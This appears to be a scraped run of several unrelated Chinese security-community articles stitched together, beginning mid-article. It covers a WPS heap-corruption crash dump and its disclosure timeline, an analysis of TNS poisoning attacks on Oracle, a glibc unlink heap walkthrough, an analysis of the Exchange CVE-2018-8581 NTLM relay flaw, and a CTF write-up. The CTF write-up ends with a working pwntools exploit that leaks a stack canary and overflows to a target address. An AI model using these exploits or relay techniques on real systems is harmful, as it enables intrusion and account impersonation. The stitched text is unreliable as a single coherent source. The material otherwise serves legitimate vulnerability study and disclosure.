cf69afcc 0000055f 00000012 c0c0c0c0 1c3870e2 _............p8.
cf69afdc 40ad870e 1c3870e2 40ad870e 00000000 [email protected]....@....
cf69afec 00000000 c0c0c0c1 6c1d12c0 00000000 ...........l....
cf69affc c0c0c0c0 ???????? ???????? ???????? ....????????????
cf69b00c ???????? ???????? ???????? ???????? ????????????????
cf69b01c ???????? ???????? ???????? ???????? ????????????????
cf69b02c ???????? ???????? ???????? ???????? ????????????????
0:000> dc c88baf80
c88baf80 00000001 0000001c 00000010 00000001 ................
c88baf90 ff000000 ff800000 ff008000 ff808000 ................
c88bafa0 ff000080 ff800080 ff008080 ff808080 ................
c88bafb0 ffc0c0c0 ffff0000 ff00ff00 ffffff00 ................
c88bafc0 ff0000ff ffff00ff ff00ffff ffffffff ................
c88bafd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88bafe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88baff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
崩溃后的堆栈跟踪：
0:000> kvL
# ChildEBP RetAddr Args to Child
00 012f18d4 6ba3cb98 cc53afbc 00000048 00000000 QtCore4!QMatrix::dy+0x48a8
01 012f19d0 6b8143ef 00000000 012f1b78 012f1a5c QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a74
02 012f1a30 6b814259 0000002e 012f5bd0 00000000 QtCore4!QBrush::setMatrix+0x234
03 012f5b14 6b8249a4 0000003b 012f5b68 cc780e18 QtCore4!QBrush::setMatrix+0x9e
04 012f5b2c 6b80cc84 0000003b 012f5b68 cc780e18 QtCore4!QImage::rect+0x22b
05 012f5b48 6b857ccc 0000003b 012f5b68 cc780e18 QtCore4!QTransform::inverted+0xec8
06 012f64dc 6b81c55b 00000000 003c0000 00000000 QtCore4!QSvgFillStyle::setFillOpacity+0x1b59
07 012f66c0 6b896844 012f6724 cc818ff0 0000001c QtCore4!QPainter::drawPixmap+0x1c98
08 012f67b4 6d1e0fbd 012f69ec 012f66d4 012f6864 QtCore4!QPainter::drawImage+0x325
09 012f67d4 6d0dd155 012f6a54 012f69ec 012f6864 kso!GdiDrawHoriLineIAlt+0x11a1a
0a 012f67ec 6d0c8d88 012f69ec 012f68e0 012f6864 kso!kpt::PainterExt::drawBitmap+0x23
堆分析：
0:000> !heap -p -a cc53afbc
address cc53afbc found in
_DPH_HEAP_ROOT @ 6731000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
cc36323c: cc53afa8 58 - cc53a000 2000
6f13ab70 verifier!AVrfDebugPageHeapAllocate+0x00000240
77a9909b ntdll!RtlDebugAllocateHeap+0x00000039
779ebbad ntdll!RtlpAllocateHeap+0x000000ed
779eb0cf ntdll!RtlpAllocateHeapInternal+0x0000022f
779eae8e ntdll!RtlAllocateHeap+0x0000003e
6f080269 MSVCR100!malloc+0x0000004b
6f08233b MSVCR100!operator new+0x0000001f
6b726c67 QtCore4!QImageData::create+0x000000fa
6b726b54 QtCore4!QImage::QImage+0x0000004e
6b7a0e21 QtCore4!png_get_text+0x00000436
6b79d7a8 QtCore4!QImageIOHandler::setFormat+0x000000de
6b79d457 QtCore4!QPixmapData::fromFile+0x000002bf
6b725eb4 QtCore4!QImageReader::read+0x000001e2
6d0ca585 kso!kpt::VariantImage::forceUpdateCacheImage+0x0000254e
6d0c5964 kso!kpt::Direct2DPaintEngineHelper::operator=+0x00000693
6d0c70d0 kso!kpt::RelativeRect::unclipped+0x00001146
6d0c8d0c kso!kpt::VariantImage::forceUpdateCacheImage+0x00000cd5
6d451d5c kso!BlipCacheMgr::BrushCache+0x0000049a
6d451e85 kso!BlipCacheMgr::GenerateBitmap+0x0000001d
6d453227 kso!BlipCacheMgr::GenCachedBitmap+0x00000083
6d29bb92 kso!drawing::PictureRenderLayer::render+0x000009b6
6d450fb1 kso!drawing::RenderTargetImpl::paint+0x00000090
6d29b528 kso!drawing::PictureRenderLayer::render+0x0000034c
6d2a2d83 kso!drawing::VisualRenderer::render+0x00000060
6d2b8970 kso!drawing::SingleVisualRenderer::drawNormal+0x000002b5
6d2b86a7 kso!drawing::SingleVisualRenderer::draw+0x000001e1
6d2b945e kso!drawing::SingleVisualRenderer::draw+0x00000046
6d3d0142 kso!drawing::ShapeVisual::paintEvent+0x0000044a
680a2b5c wpsmain!WpsShapeTreeVisual::getHittestSubVisuals+0x000068f1
6d0e36df kso!AbstractVisual::visualEvent+0x00000051
6d3cbe97 kso!drawing::ShapeVisual::visualEvent+0x0000018f
6d0eba90 kso!VisualPaintEvent::arriveVisual+0x0000004e
0:000> dt _DPH_BLOCK_INFORMATION cc780e18-0x20
verifier!_DPH_BLOCK_INFORMATION
+0x000 StartStamp : 0xc0c0c0c0
+0x004 Heap : 0xc0c0c0c0 Void
+0x008 RequestedSize : 0xc0c0c0c0
+0x00c ActualSize : 0xc0c0c0c0
+0x010 Internal : _DPH_BLOCK_INTERNAL_INFORMATION
+0x018 StackTrace : 0xc0c0c0c0 Void
+0x01c EndStamp : 0xc0c0c0c0
段中的最后一个堆入口通常是一个空闲块，堆块声明：前一个块的大小为00108，当前块的大小为00a30。但是前一个块报告其自身大小却为0x20字节，这与实际情况并不匹配。处于位置`05f61000`的堆块似乎是元凶，进去看看：
0:000> !heap -a 05f60000
Index Address Name Debugging options enabled
1: 05f60000
Segment at 05f60000 to 0605f000 (00001000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00100000
Segment Commit: 00002000
DeCommit Block Thres: 00000200
DeCommit Total Thres: 00002000
Total Free Size: 00000146
Max. Allocation Size: fffdefff
Lock Variable at: 05f60258
Next TagIndex: 0000
Maximum TagIndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 05f6009c
Uncommitted ranges: 05f6008c
05f61000: 000fe000 (1040384 bytes)
FreeList[ 00 ] at 05f600c0: 05f605b8 . 05f605b8
05f605b0: 00108 . 00a30 [100] - free
Segment00 at 05f60000:
Flags: 00000000
Base: 05f60000
First Entry: 05f604a8
Last Entry: 0605f000
Total Pages: 000000ff
Total UnCommit: 000000fe
Largest UnCommit:00000000
UnCommitted Ranges: (1)
Heap entries for Segment00 in Heap 05f60000
address: psize . size flags state (requested size)
05f60000: 00000 . 004a8 [101] - busy (4a7)
05f604a8: 004a8 . 00108 [101] - busy (107) Internal
05f605b0: 00108 . 00a30 [100]
05f60fe0: 00a30 . 00020 [111] - busy (1d)
05f61000: 000fe000 - uncommitted bytes.
0:000> dd 05f60fe0
05f60fe0 a9b3c836 03007087 05f6008c 05f6008c
05f60ff0 05f60038 05f60038 05f61000 000fe000
05f61000 ???????? ???????? ???????? ????????
05f61010 ???????? ???????? ???????? ????????
05f61020 ???????? ???????? ???????? ????????
05f61030 ???????? ???????? ???????? ????????
05f61040 ???????? ???????? ???????? ????????
05f61050 ???????? ???????? ???????? ????????
## 披露时间表
该漏洞于2020年8月报告，时间线为：
2020-08-04-将电子邮件发送到WPS公开提供的各种邮件列表（销售和支持）。
2020-08-10-WPS团队回应该报告。
2020-08-11-要求进一步的信息，例如咨询和适当的披露渠道等。
2020-08-17-根据先前的要求与WPS团队进行跟进。
2020-08-18-WPS团队做出回应，并转交给开发团队。
2020-08-18-通过电子邮件提供技术报告和poc（未加密）。
2020-08-25-跟进WPS报告进度。
2020-08-26-WPS更新说此问题已转发给开发团队。
2020-08-28-WPS发送了一封电子邮件，指出该问题已在最新的下载版本11.2.0.9403中得到解决。
2020-08-28-针对提供的PoC测试了新版本，并确认问题已解决。
2020-08-28-向WPS团队寻求咨询或更改日志更新。
2020-09-03-记录漏洞，提交CVE。
2020-09-14-已分配CVE代号，为CVE-2020-25291。
2020-09-15-WPS安全团队进一步声明该漏洞以修补，并在此处编写了该建议，网址为<https://security.wps.cn/notices/6> | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/EM69J1EbUKEIHTCVoSXPlQ>**
## 一、 黑客最新攻击动向
近日，境外黑客组织（包括匿名者组织在内的多个黑客组织组成的黑客联盟）声称将于2020年2月13日针对我国视频监控系统实施网络攻击破坏活动，并公布了其已掌握的一批在线视频监控系统的境内IP地址，该声明引起了网络安全业内的高度关注。
启明星辰ADLab追踪了该组织在Pastebin上的相关攻击活动记录，发现其历史上曾多次将攻击目标锁定至我国的政府和企业网站。
攻击成功则会展示该组织的相关攻击页面。
值得注意的是，虽然距离黑客宣称的攻击日期还有数日，但黑客组织已经开始发起行动。2020年2月9日凌晨4时，该团伙再次发布推文公布了针对中国某海运集团公司网站进行的渗透攻击活动。
启明星辰ADLab安全研究人员迅速对该事件进行了分析，攻击数据显示该网站可能存在oracle漏洞CVE-2012-1675，黑客利用该漏洞进行的攻击可以导致oracle组件和合法数据库之间遭到中间人攻击、会话劫持或拒绝服务攻击等，需要引起相关企业的高度重视。
## 二、 攻击细节分析
我们从黑客的Pastebin展示页面中发现了此次攻击的部分数据，该团伙通过暴力猜解、漏洞利用等方式最终有可能窃取到目标的oracle数据库数据，相关攻击流程如下：
攻击团伙首先利用nmap工具针对目标网站进行了扫描，获取到目标服务器的相关指纹信息。
目标服务器开启了oracle数据库的默认监听端口1521，且数据库相应版本较低，可能存在诸多漏洞，这也给了攻击团伙可乘之机（1521端口是oracle数据库默认的端口，主要作用是用来监听来自客户端的数据库链接请求）。
攻击团伙进一步针对1521端口的oracle
数据库实施了渗透测试和攻击，攻击过程中共使用到两个开源的oracle渗透测试项目（odat攻击框架进行远程测试Oracle数据库的安全性 ; oracle-tns-poison进行攻击投毒）。
### 2.1 利用odat攻击框架进行安全性测试
首先，攻击者通过odat攻击框架连接至目标oracle数据库，并进一步通过PasswordGuesser模块进行暴力猜解。
同时探测到当前oracle版本可能存在TNS poisoning (CVE-2012-1675)漏洞攻击。
攻击团伙进一步通过Metasploit5渗透测试框架的tnspoison_checker模块对oracle进行了漏洞检测验证。
返回信息表明存在CVE-2012-1675漏洞，并进一步获取到oracle的Oracle System ID(SID）。
### 2.2通过oracle-tns-poison项目实施投毒攻击
攻击共分为三个步骤：
1.通过check_tns_poison模块再次验证漏洞的可用性。
2.通过proxy模块将远程服务器的oracle数据代理转发至本地。
3.执行tnspoisonv1模块，针对目标数据库进行投毒攻击（CVE-2012-1675）。
### 2.3CVE-2012-1675漏洞介绍
CVE-2012-1675漏洞是Oracle允许攻击者在不提供用户名及密码的情况下，向远程“TNS
Listener”组件处理的数据投毒的漏洞。攻击者可利用漏洞将数据库服务器的合法“TNS
Listener”组件中的数据转发给攻击者的本地系统，造成组件和合法数据库之间的中间人攻击、会话劫持或拒绝服务攻击，相关示意图如下：
#### 相关防护和修复建议：
1. 建立足够强健的口令，切勿使用8位以下密码或字典库中的口令，定期更换安全密码进行预防；
2. 针对Oracle进行补丁升级（更新cpuoct2012-1515893补丁）；注意对于cpuoct2012-1515893补丁要求服务器端和应用服务器端同时升级，否则应用系统将无法访问Oracle；
3. 若无法对Oracle升级，需购买或安装具备虚拟补丁功能的数据库安全产品，防止对CVE-2012-1675及其它漏洞的利用；
4. 可针对数据库进行全库或者敏感字段加密，保证即使TNS Listener被攻击，核心数据依旧不会泄露。
## 三.总结
依据目前掌握的情况，该境外黑客组织擅长渗透攻击和漏洞利用，且有可能已经掌握了大量物联网设备安全漏洞，并具备进一步利用的能力。由于该组织长期针对我国进行攻击，希望相关用户和企业加强自身网络风险排查和安全加固工作，进一步提高防护意识，高度警惕境外黑客组织下一步可能的攻击行动。
* * * | 社区文章 |
# 从源码调试_int_free一次看懂how2heap之unlink
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
首先说一下个人感受，unlink是个在没有理解的情况下可能完全摸不着头脑的技术点。并且本来就没有搞清楚的东西还没有源码的话，就更头疼了。
unlink是个malloc.c文件里的宏，由于是个宏，所以经过编译以后已经inline了，虽然可以找到原始的宏定义，但是看起来毕竟没有那么直观，所以本文从源码调试入手，一次看清unlink的细节。
几个关键的技术点如下：
1. unlink是在哪个函数里被执行的？
2. unlink的几个参数分别是什么意思？
3. unlink的结果是什么？
4. 为什么进行unlink攻击要伪造一个chunk？用原始的chunk只改变fd和bk就不可以吗？
## 如何进行源码调试
### 首先使用how2heap提供的脚本build出实验需要的2.25版本的ld和libc，如下：
$ ./glibc_build.sh -h
Usage: ./glibc_build.sh version #make-threads
$ ./glibc_build.sh 2.25 8
这里编译使用8线程，可以根据CPU情况调高线程数加快编译，整个过程花费时间可能较长。
如果卡在git clone那一步，建议指定http_proxy并将glibc_build.sh中git clone后的协议改为http。
编译出的ld和libc会放在glibc_versions目录下，clone下来的源码在glibc_src目录。
由于这里要进行的是2.25版本的调试，所以如果你依次build了2.25和2.26版本的，请到glibc_src目录下进行`git checkout
release/2.25/master`将源文件恢复到2.25版本的状态以便后续调试。
### 接下来修改待调试文件的ld,有两种方法，可以自由选择：
# 首先要sudo apt install patchelf，以下两种方法实际上都是用了这个工具。
# 1. 使用现成的glibc_run.sh，脚本中含有patch待调试程序的功能。
$ ./glibc_run.sh 2.25 [exe]
# 2. 直接使用patchelf
$ patchelf --set-interpreter [path_to_ld] [exe]
文件patch好以后，只要在执行或者调试时设置LD_PRELOAD指向相应的libc就可以了。
如何在GDB中设置LD_PRELOAD可以看我前几天写的[GDB指定被调试程序环境变量](http://www.j10.monster/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%AE%89%E5%85%A8/2020/02/22/gdb-exec-wrapper.html)。
简单提一句就是在GDB中`set exec-wrapper env 'LD_PRELOAD=./glibc_versions/libc-2.25.so'`
接下来就可以愉快的进行调试了。调试使用了[pwndbg](https://github.com/pwndbg/pwndbg)。
## unlink是在哪个函数里被执行的？
源代码想必点开这篇文章的小伙伴们手里都有，为了突出重点，这里就不贴了。（如果没有快去[这里](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/unsafe_unlink.c)看一下
单步跟踪可以发现chunk0_ptr的值第一次被改变是在第46行的`free(chunk1_ptr)`执行完之后。那么我们先`b
unsafe_unlink.c:46`在执行这一行之前停下，然后`si`步进。
在main函数中`call free[@plt](https://github.com/plt "@plt")`之前应该看起来是这个样子:
进入free函数时看起来应该是这个样子：
如果你看到和我一样的界面的话，说明上面的配置没有问题；如果看不到malloc.c的源码的话，建议检查上面哪一步出了问题。（当RIP在free[@plt](https://github.com/plt
"@plt")的时候不会看到malloc.c源码，详细信息请搜索“延时绑定、plt”相关内容）
`ni`了几步之后进入了_int_free函数，这也就是我们分析的重点。
打开malloc.c源文件（在glibc_src/malloc/malloc.c），可以看到_int_free函数中有2处调用了unlink，分别用于后向合并以及前向合并。
这里要解释一下unlink的各个参数，顺便讲清楚这两个合并分别是什么效果。
## unlink的几个参数分别是什么意思？
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// 与本次实验无关
......
}
}
}
这里截取了相关代码，可以看到FD和BK都比较好理解，P指向将要从双向链表中取下的chunk的头部。
那么这个AV是什么？可以看到malloc.c中第4019行的unlink的av是由_int_free的参数传入的，
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
......
看到av的类型是mstate。
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
......
mstate ar_ptr = &main_arena;
从mstate的类型可以看出av是一个指向分配区（arena）的指针，那么av可能是arena vector的意思。
所以这里不需要关心AV这个参数有什么用。
那再来看看后向合并和前向合并是什么意思？
* 后向合并只要free函数指向的chunk的前一个chunk是未使用状态就会触发，用于将物理相邻的前一个chunk与后一个chunk合并，合并的结果是chunk开始于前chunk，大小为两个chunk之和，并且后chunk被unlink宏从双向链表中取下。
* 前向合并只有检测到下一个chunk不是当前分配区的topchunk并且是未使用状态才会触发，合并结果是将后chunk合并入前chunk，新的chunk开始于前chunk，大小为两个chunk之和。若下一个chunk就是topchunk，则直接将当前chunk变为topchunk。
经过前面对于chunk1_ptr指向的chunk1的metadata的修改，_int_free会认为我们在chunk0_ptr指向的chunk0中伪造的chunk是未使用状态，因此会将这个fake
chunk的开始地址也就是chunk1_hdr-0x80作为unlink宏的P的值，以此触发unlink。
## unlink的结果是什么？
我们从malloc.c第4015行的后向合并开始：
0x7ffff7ab4710 <_int_free+416> test byte ptr [rbx + 8], 1
=> rbx= p =0x555555758090
0x7ffff7ab4716 <_int_free+422> mov rax, qword ptr [rbx]
=> rax=0x80
0x7ffff7ab4719 <_int_free+425> sub rbx, rax
=> rbx -= 0x80
=> rbx= p =0x555555758010 <-------------- fake mchunkptr
0x7ffff7ab471c <_int_free+428> add r12, rax
=> r12= size =size+prevsize=r12+rax=0x90+0x80=0x110
以上几行设置好了P为fake chunk的开始地址以及chunk大小，接下来第4019行开始unlink：
-------------------unlink------------------- 0x7ffff7ab471f <_int_free+431> mov rax, qword ptr [rbx + 0x10]
=> rax= FD =p->fd=0x555555756018
0x7ffff7ab4723 <_int_free+435> mov rdx, qword ptr [rbx + 0x18]
=> rdx= BK =p->bk=0x555555756020
0x7ffff7ab4727 <_int_free+439> cmp qword ptr [rax + 0x18], rbx
=> test FD->bk==p
0x7ffff7ab4731 <_int_free+449> cmp qword ptr [rdx + 0x10], rbx
=> test BK->fd==p
0x7ffff7ab473b <_int_free+459> cmp qword ptr [rbx + 8], 0x3ff
=> test p->size>small_bin_range
0x7ffff7ab4743 <_int_free+467> mov qword ptr [rax + 0x18], rdx
=> FD->bk = BK
=> qword ptr [0x555555756030] = 0x555555756020
0x7ffff7ab4747 <_int_free+471> mov qword ptr [rdx + 0x10], rax
=> BK->fd = FD
=> qword ptr [0x555555756030] = 0x555555756018
=> qword ptr [&chunk0_ptr] = ((char *)&chunk0_ptr)-0x18
p->size in small_bin_range, so unlink finish.
-----------------------------------------------
这里unlink设置好FD以及BK，并且测试完`FD->bk==p`和`BK->fd==p`之后，就开始了原本应该将该chunk从双向链表取下的操作，而攻击正是发生在这里。
由于FD->bk与BK->fd指向的都是变量chunk0_ptr所在的内存地址，因此对这两个指针的赋值其实都是直接改变了chunk0_ptr的值，由于是往同一个地方写入，第二次赋值为FD会覆盖第一次赋值为BK的效果，最终结果就是`chunk0_ptr=(&chunk0_ptr)-3`。
此时再使用`chunk0_ptr[3]=0xdeadbeef`这种写法就可以将chunk0_ptr的值覆写为任意想要的地址。
实验最后是将chunk0_ptr覆写为了一个字符串的地址并且更改了字符串的内容，攻击完成。
## 为什么进行unlink攻击要伪造一个chunk？
有小伙伴可能要问：“我看实验步骤里有一个伪造chunk的过程，改变了前一个chunk的大小，那我不改这个大小，直接把fd和bk的值填进chunk0_ptr[0]、[1]行不行？”
结果是不行的。由于有`FD->bk==p`和`BK->fd==p`这两个检测的设定，并且`FD->bk`和`BK->fd`指向的都是chunk0_ptr所在地址，相当于p必须等于chunk0_ptr的值，即实验中伪造的chunk的开始地址，差一个字节都不行。
## 结语
好了，分析到这里就结束了，这个攻击方法虽然对>2.25版本的glibc都无效，但是其中的很多细节都是值得学习的，希望各位看得开心，有什么问题可以一起讨论鸭。 | 社区文章 |
**作者：天融信阿尔法实验室**
**公众号：[天融信阿尔法实验室](https://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247486278&idx=1&sn=2df26adc3e410e3003f64f08a2a33b5c&chksm=ce954678f9e2cf6e3f678cc88f9540984b8a2589aa36f87a8007fb0d7a50f3f41ec68191c446&mpshare=1&scene=1&srcid=0125ZK3syRhB7PkjZlWl0WL0
"天融信阿尔法实验室")**
## 0x00前言
近日，Microsoft公告中披露了一则关于Exchange
Server的任意用户伪造漏洞，天融信阿尔法实验室对此漏洞进行了复现及分析。漏洞复现是在Exchange server 2010
SP2中进行的，复现过程中，发现原作者给出获取用户SID的方法，在2010版本中并没有相关操作选项，所以作者给出的POC也就无法使用。不过后来在Github中找到一个POC。在该POC中，使用了一种反向委托的方法来获取用户SID，并利用这个POC成功复现了漏洞。
## 0x01背景介绍
Microsoft Exchange Server 是个消息与协作系统。Exchange
Server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统。它还是一个协作平台。你可以在此基础上开发工作流，知识管理系统，Web系统或者是其他消息系统，是一个全面的Internet协作应用服务器，适合有各种协作需求的用户使用。
### 1.1漏洞描述
在Microsoft Exchange Server中存在一个特权提升漏洞，该漏洞允许任何经过身份验证的用户冒充Exchange
Server上的其他任意用户。漏洞产生的原因是由于在Exchange
Server中使用NTLM身份验证时存在特定缺陷，服务器产生的NTLM响应可以反射回攻击者服务器，导致攻击者可以验证任意的EWS（Exchange
Web服务）请求。
### 1.2受影响的系统版本
Exchange Server 2010
Exchange Server 2013
Exchange Server 2016
### 1.3漏洞编号
CVE-2018-8581
## 0x02测试环境
Windows 2008 R2
Exchange Server 2010 SP2
## 0x03漏洞复现
首先进行脚本参数配置。
在填好相关参数时，运行脚本。
然后再打开web界面执行相关操作。
输入目标（Administrator）邮箱后确定。
最终就成功代理了目标（Administrator）邮箱。
在代理成功后，可以接收目标邮箱的邮件收取，也可以对其邮件进行查看、删除等操作。
现在用mailtest2用户向目标（Administrator）邮箱发送一封邮件。
可以看到，代理用户成功接收到了由mailtest2用户向目标（Administrator）邮箱新发来的邮件。
如果想移除委托关系，可以将脚本中的FLAG改为0后运行。
Remove后再查看委托用户的邮箱。
## 0x04漏洞利用流程及原理分析
为了能够让大家在分析漏洞时能够更加流畅，这里先介绍几个概念。
1、什么是SID？
SID全称为：Security
Identifiers，是微软从Server2000时代引入的一个概念：安全标识符。在MicrosoftOS系统中（Server2000以上级别）工作组环境下：计算机、组、用户都会有自己的SID号，这些信息是存储在用户计算机本地注册表中的。这些SID号是根据其对象类型的不同随机生成的，具有一定的命名规则。简单来说，SID其实就是对象身份的象征。
2、什么是EWS？
EWS是微软实现的一种客户端和服务器之间的交换信息的协议。Exchange
Server提供了包括从电子邮件、会议安排、团体日程管理、任务管理、文档管理、实时会议和工作流等丰富的协作应用。
2、NTLM认证概念、NTLM认证流程以及NTLM认证消息结构。
3.1什么是NTLM认证？
NTLM认证简单来说就是一种在不直接提供密码的情况下，客户端间接向服务器证明知道用户的密码，从而达到认证目的的一种方法。
3.2 NTLM认证流程
3.2.1 客户端如果试图访问服务器资源，首先会向服务器发送协商消息。在发送的请求中会包含一个以明文表示的用户名。
3.2.2 服务器接收到请求后会生成一个16byte的随机数，并返回给客户端。这个随机数被称为Challenge或者Nonce。
3.2.3
客户端在接收到服务器返回的Challenge后，会使用当前登录用户的密码哈希值对其加密，生成Authenticate认证消息，然后将Authenticate发送给服务器。
3.2.4
服务器接收到客户端发送回来的Authenticate后，会向DC（Domain）发送针对客户端的验证请求。该请求主要包含以下三方面的内容：客户端用户名，客户端Authenticate和原始的Challenge。
3.2.5
DC根据用户名获取该帐号的密码哈希值，对原始的Challenge进行加密。如果加密后的Challenge和服务器发送的一致，则意味着用户拥有正确的密码，验证通过，否则验证失败。DC将验证结果发给服务器，并最终反馈给客户端。
3.3 NTLM 认证消息的结构
Negotiate协商消息、Challenge挑战消息和Authenticate认证消息,他们的结构很相似：`NTLMSSPXXXXXXXXXX`。其中NTLMSSP表示是NTLM验证的请求。但是在实际中，`NTLMSSPXXXXXXXXXX`是经过base64编码的。
举个例子：
概念介绍完，接下来开始分析漏洞利用流程及原理，通过POC来看，漏洞利用执行过程可分为四大步骤。
图一：总流程图
第一步：获取用户SID
获取用户SID的目的是为了后续构造SOAP头来冒充用户。
是攻击者邮箱地址，这里可以理解成委托方。
是受害者邮箱地址，可以理解成被委托方。
该脚本是通过反向委托的方式来获取目标邮箱用户SID。通过向服务器发送一个将`CONTROLLED_EMAIL` 委托给
`TARGET_MAIL`的请求包，服务器就会返回`TARGET_MAIL`用户SID。
上图是代码执行流程，看代码可以发现，这部分有多次add和remove委托的行为。之所以这样重复请求，是为了防止发生意外错误。
上面说到Exchange
Server添加委托操作的时候，服务器会返回被委托方（Target）的SID，但是当添加委托时，返回的数据包中如果包含`ErrorDelegateAlreadyExists`字符时，说明已经存在委托行为。
这时就需要先remove掉委托关系，然后再add，这样才能获取到用户SID。
第二步：请求推送订阅。
推送订阅目的是将NTLM响应返回给攻击者服务器。
这部分是漏洞点所在，包括两个漏洞--SSRF和NTLM身份验证缺陷。
SSRF漏洞：攻击者可以使用一个已认证的邮箱账号发EWS发送推送订阅请求。（图中`/EWS/Exchange.asmx`是EWS请求的地址）。推送订阅时，Exchange允许用户自己指定URL，所以攻击者可以将这一URL改为自己的服务器地址。上图的`EVIL_HTTPSERVER_URL`就是攻击者自己的服务器。当这个推送订阅请求包发送到服务器时，服务器就会向攻击者指定的URL发送请求。
其中是SSRF的核心，跟踪一下服务器处理流程。
根据请求的Exchange.asmx文件以及请求内容，找一下Exchange Server的处理函数。
可以看到该类其中有一个关键的数据成员Url,下面跟踪一下该成员函数，看看哪里使用了该成员函数。
可以看到该Url被保存到`PushSubScription`的`clientUrl`中了。
跟踪发现该变量仅有三处使用。
主要的一处便是通过Http协议进行Notification消息发送的过程。
NTLM身份验证缺陷：在发送请求时，Exchange Server使用的是`CredentialCache.DefaultCredentials`进行连接：
并且`CredentialCache.DefaultCredentials`是以NT
`AUTHORITY\SYSTEM`权限运行，这就会导致Exchange Server将服务器生成的NTLM响应发送到攻击者的服务器。Exchange
Server默认情况下还设置了以下注册表项：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1
这就导致攻击者可以使用返回NTLM响应进行HTTP身份验证，从而可以验证任意EWS请求。
第三步：构造攻击数据包
由于`CredentialCache.DefaultCredentials`是以`NT
AUTHORITY\SYSTEM`权限运行，所以攻击者可以与`TokenSerializationRight`进行“特权”会话，然后利用SOAP头部模拟任何想要伪装的用户。
使用一开始获取到的用户SID来构造SOAP头冒充受害者用户。
SOAP Body处构造的是委托请求的包，作用是目标邮箱的inbox收件箱将会委托于攻击者，这样就可以查看并修改目标邮箱的邮件。
第四步：NTLM认证及攻击
这里攻击者利用Python
HTTPServer搭建一个简单的web服务器来作为自己的服务器，这个服务器其实是起到一个代理（中转）的作用。因为在NTLM认证证程中，它监听并响应着Exchange
Server订阅功能发来的请求（请求中包含NTLM值），同时利用得到的NTLM响应值请求EWS，在这个过程中，它其实充当着就是一种像中间代理人一样的身份。我们可以把这个攻击者服务器称作代理服务器。
下面以Wireshark通信流量包来详细分析下NTLM的整个认证及攻击流程，大家可对照总流程（图一）的第四步骤来分析。
首先，攻击者在推送订阅后，Exchange Server的订阅功能会向代理服务器发送POST请求。
然后代理服务器会返回一个包含`WWW-Authenticate`：NTLM的header头并返回401状态（未认证）。
Exchange Server收到后，就会发送一个Negotiate 协商消息开始NTLM验证。
然后代理服务器会用这个Negotiate协商消息并带上`relay_body`（攻击包）去请求EWS。
接着，EWS就会返回Challenge挑战消息，然后代理服务器会将这个Challenge挑战消息响应回Exchange Server的订阅功能。
Exchange Server的订阅功能接收到后，就会对其加密，返回Authenticate认证消息给代理服务器。
然后，代理服务器返回了401状态。其实这个返回什么并不重要，因为我们目的是获取Authenticate认证消息。
最后代理服务器就会用这个获取到的Authenticate认证消息并带上`relay_body`（攻击包）去请求EWS，从而成功验证并完成攻击。
## 0x05漏洞修复
手工修复：
删除`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck`键值
在管理员权限的命令行窗口中，输入如下命令：
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableLoopbackCHECK /f
在删除键值后，无需重新启动操作系统，也无需重新启动Exchange Server。
官方补丁：
Microsoft在2018年11月发布了补丁，但该补丁仅对该漏洞进行了缓解，并没有进行严格意义上的修复。不过Microsoft发布的公告指出，在此后Exchange累计更新中，将不会再默认启动这一注册表项。
## 0x06参考链接
1. <https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>
2. <https://github.com/WyAtu/CVE-2018-8581/>
3. <http://blog.51cto.com/popeyeywy/333556>
4. <https://www.cnblogs.com/shuidao/p/3634637.html>
5. <https://www.cnblogs.com/artech/archive/2011/01/25/NTLM.html>
* * * | 社区文章 |
这是做栈的题目遇到的各种有关于canary的操作，适合萌新收藏，大佬们请出门右拐，谢谢~
题目都在附件中，下面直接开始介绍吧。
### 题目1：bin
#### 方法介绍：leak canary
利用格式化字符串漏洞，泄露出canary的值，然后填到canary相应的位置从而绕过保护实现栈溢出。
#### 开始分析：
常规操作，先checksec下，再ida静态分析
很明显有格式化字符串漏洞和栈溢出漏洞，但是开了栈溢出保护，程序有2个输入，第一次输入可以先泄露cananry，第二次直接覆盖canary就可以栈溢出了，简单明了，gdb动态调试，可以看到canary在格式化字符串的偏移为7，
在第二个次输入中，我们需要输入到canary进行覆盖工作，这是可以看ida：
可以知道0x70-0xC = 0x64=100，那么就是说要覆盖100个字符才到canary的位置，这样就可以栈溢出了，跳转到这里即可：
EXP的payload：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin')
#标志位,0和１
if local:
p = process('./bin')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
payload = '%7$x'
p.sendline(payload)
canary = int(p.recv(),16)
print canary
getflag = 0x0804863B
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag)
p.send(payload)
p.interactive()
### 题目2：bin1
